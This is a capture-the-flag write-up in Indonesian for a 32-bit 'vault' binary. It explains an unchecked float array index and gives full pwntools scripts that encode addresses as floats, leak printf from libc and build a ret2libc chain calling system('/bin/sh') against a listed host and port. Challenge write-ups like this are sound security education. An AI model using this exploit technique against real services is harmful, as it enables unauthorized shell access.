Diberikan binary dengan spesifikasi berikut
a@a-l ~/finalarkav $ checksec vault
[*] '/home/a/finalarkav/vault'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
a@a-l ~/finalarkav $ file vault
vault: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a3c97171acfc9100641c2822a01688a8b080039e, not stripped
Berikut adalah pseudocode dari fungsi chall pada binary tersebut
int chall()
{
int result; // eax
float v1[20]; // [esp+4h] [ebp-64h]
int v2; // [esp+54h] [ebp-14h]
int v3; // [esp+58h] [ebp-10h]
int v4; // [esp+5Ch] [ebp-Ch]
v4 = 3;
while ( v4 > 0 )
{
print_menu();
printf("Banyak perintah tersisa : %d\n", v4);
printf("> ");
__isoc99_scanf("%d", &v2);
if ( v2 == 2 )
{
printf("Masukkan no kotak : ");
__isoc99_scanf("%d", &v3);
printf("Masukkan isi baru : ");
result = __isoc99_scanf("%f", &v1[v3]);
--v4;
}
else
{
if ( v2 == 3 )
exit(0);
if ( v2 == 1 )
{
printf("Masukkan no kotak : ");
__isoc99_scanf("%d", &v3);
result = printf("Kotak-%d : %f\n", v3, v1[v3]);
--v4;
}
else
{
result = puts("Perintah tidak ditemukan.");
}
}
}
return result;
}
Binary tersebut dapat melakukan pengisian pada memori dengan mengisi nilai dengan tipe data float dan membaca isi memori dengan nilai float.
Terdapat vulnerable dimana index dari array tidak dibatasi sehingga kita bisa memasukkan index lebih dari 20 (panjang array float), sehingga kita bisa melakukan ROP dengan mengisi nilai EIP dan selanjutnya.
Namun yang menjadi masalah adalah tipe data disimpan dalam float. Sehingga kita harus melakukan konversi type data dari byte menjadi float. Setelah mencari ternyata structpack dapat melakukan fungsi tersebut.
def bitsToFloat(b):
s = struct.pack('>L', b) # >L mengartikan Unsigned long to byte
m = struct.unpack('>f', s)[0] # Mengkonversi byte menjadi float
return str(m)
Kita coba untuk mengisi array index ke 0 dengan 0x42424242
from pwn import *
from sys import *
#
# overwrite
# p = process('./vault')
p = connect("167.205.35.176", 31003 )
start = 25
cmd ="""
b *0x08048690
"""
if(len(argv) == 3):
gdb.attach(p, cmd)
def ngisi(kotak, isi):
p.sendline("2")
p.sendline(str(kotak))
p.sendline(bitsToFloat(isi))
def bitsToFloat(b):
s = struct.pack('>L', b)
m = struct.unpack('>f', s)[0]
return str(m)
puts = (0x080483C0) # puts
main = (0x08048692)
printf = (0x0804A00C)
ngisi(0, puts)
p.interactive()
[----------------------------------registers-----------------------------------]
EAX: 0xfff6b954 --> 0x0
EBX: 0x0
ECX: 0xffffffff
EDX: 0x0
ESI: 0xf7f3a000 --> 0x1b1db0
EDI: 0xf7f3a000 --> 0x1b1db0
EBP: 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0
ESP: 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
EIP: 0x804865d (<chall+249>: call 0x8048400 <__isoc99_scanf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048654 <chall+240>: sub esp,0x8
0x8048657 <chall+243>: push eax
0x8048658 <chall+244>: push 0x80487e9
=> 0x804865d <chall+249>: call 0x8048400 <__isoc99_scanf@plt>
0x8048662 <chall+254>: add esp,0x10
0x8048665 <chall+257>: sub DWORD PTR [ebp-0xc],0x1
0x8048669 <chall+261>: jmp 0x8048685 <chall+289>
0x804866b <chall+263>: sub esp,0xc
Guessed arguments:
arg[0]: 0x80487e9 --> 0x50006625 ('%f')
arg[1]: 0xfff6b954 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
0004| 0xfff6b944 --> 0xfff6b954 --> 0x0
0008| 0xfff6b948 --> 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0
0012| 0xfff6b94c --> 0x804857b (<chall+23>: sub esp,0x8)
0016| 0xfff6b950 --> 0xf7f3ad60 --> 0xfbad2887
0020| 0xfff6b954 --> 0x0
0024| 0xfff6b958 --> 0x0
0028| 0xfff6b95c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804865d in chall ()
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0x1
EDX: 0xf7f3b87c --> 0x0
ESI: 0xf7f3a000 --> 0x1b1db0
EDI: 0xf7f3a000 --> 0x1b1db0
EBP: 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0
ESP: 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
EIP: 0x8048662 (<chall+254>: add esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048657 <chall+243>: push eax
0x8048658 <chall+244>: push 0x80487e9
0x804865d <chall+249>: call 0x8048400 <__isoc99_scanf@plt>
=> 0x8048662 <chall+254>: add esp,0x10
0x8048665 <chall+257>: sub DWORD PTR [ebp-0xc],0x1
0x8048669 <chall+261>: jmp 0x8048685 <chall+289>
0x804866b <chall+263>: sub esp,0xc
0x804866e <chall+266>: push 0x0
[------------------------------------stack-------------------------------------]
0000| 0xfff6b940 --> 0x80487e9 --> 0x50006625 ('%f')
0004| 0xfff6b944 --> 0xfff6b954 ("BBBB")
0008| 0xfff6b948 --> 0xfff6b9b8 --> 0xfff6b9c8 --> 0x0
0012| 0xfff6b94c --> 0x804857b (<chall+23>: sub esp,0x8)
0016| 0xfff6b950 --> 0xf7f3ad60 --> 0xfbad2887
0020| 0xfff6b954 ("BBBB")
0024| 0xfff6b958 --> 0x0
0028| 0xfff6b95c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048662 in chall ()
gdb-peda$ x 0xfff6b954
0xfff6b954: 0x42424242
Ternyata berhasil.
Susun payload ROP. Lakukan leak pada fungsi printf. ROP untuk memangggil system(“/bin/sh”).
Berikut skrip yang kami gunakan.
from pwn import *
from sys import *
#
# overwrite
# p = process('./vault')
p = connect("167.205.35.176", 31003 )
start = 25
cmd ="""
b *0x08048690
"""
if(len(argv) == 3):
gdb.attach(p, cmd)
def ngisi(kotak, isi):
p.sendline("2")
p.sendline(str(kotak))
p.sendline(bitsToFloat(isi))
def bitsToFloat(b):
s = struct.pack('>L', b)
m = struct.unpack('>f', s)[0]
return str(m)
puts = (0x080483C0) # puts
main = (0x08048692)
printf = (0x0804A00C)
ngisi(26, puts)
ngisi(27, main)
ngisi(28, printf)
for i in range(0, 15):
i, p.recvline()
p.recvuntil("Masukkan isi baru : ")
m = p.recv(4)
print len(m)
print hex(u32(m))
m = (u32(m))
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6310
offset_read = 0x000d5b00
offset_write = 0x000d5b70
offset_str_bin_sh = 0x15ba0b
offset_printf = 0x00049670
base = m - offset_printf
sys = base + offset_system
sh = base + offset_str_bin_sh
print hex(sys)
print hex(sh)
ngisi(26, sys)
ngisi(27, main)
ngisi(28, sh)
p.interactive()